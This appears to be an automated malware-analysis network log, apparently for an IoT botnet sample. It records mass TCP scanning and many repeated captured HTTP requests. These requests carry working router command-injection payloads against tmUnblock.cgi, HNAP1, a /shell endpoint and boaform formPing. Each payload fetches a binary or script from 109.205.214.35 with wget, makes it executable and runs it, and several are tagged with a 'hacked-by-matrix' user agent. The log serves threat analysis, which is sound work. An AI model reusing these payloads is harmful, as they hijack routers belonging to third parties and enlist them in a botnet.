Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.117.18.116:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.170.10.58:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.155.55.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.222.239.44:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.118.107.86:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.203.107.167:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.128.208.128:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.186.255.82:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.202.235.219:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.208.186.215:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.218.192.29:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.48.235.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.82.68.89:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.134.170.35:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.225.243.57:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.120.103.104:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.203.226.62:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.65.191.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.215.35.250:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.12.108.138:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.167.166.39:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.6.79.24:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.29.32.86:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.113.106.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.247.191.202:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.132.31.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.41.236.245:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.230.183.103:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.192.236.162:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.65.91.210:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.37.154.32:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.120.42.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.164.202.206:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.171.209.85:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.135.1.140:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.171.98.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.92.169.239:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 98.154.227.54:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.90.213.162:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.6.74.45:8080
Source: global traffic	TCP traffic: 192.168.2.23:11208 -> 184.225.95.138:8080

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.223.246.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.176.72.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.158.172
Source: unknown	TCP traffic detected without corresponding DNS query: 197.8.171.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.11.217.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.97.45.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.252.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.36.142.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.233.106
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.255.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.208.90
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.220.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.218.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.120.191.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.81.24
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.141.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.80.31.246
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.58.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.83.215.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.235.106.246
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.109.7
Source: unknown	TCP traffic detected without corresponding DNS query: 197.87.182.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.197.118
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.204.73
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.88.172
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.182.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.21.182
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.143.173
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.250.215
Source: unknown	TCP traffic detected without corresponding DNS query: 197.73.152.67
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.228.197
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.114.81
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.248.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.250.251.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.45.47
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.60.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.173.133.194
Source: unknown	TCP traffic detected without corresponding DNS query: 197.218.28.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.34.64
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.214.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.250.220
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.2.169
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.39.16
Source: unknown	TCP traffic detected without corresponding DNS query: 197.245.95.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.204.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.109.151
Source: unknown	TCP traffic detected without corresponding DNS query: 197.235.225.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.111.84
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.141.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.86.182

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
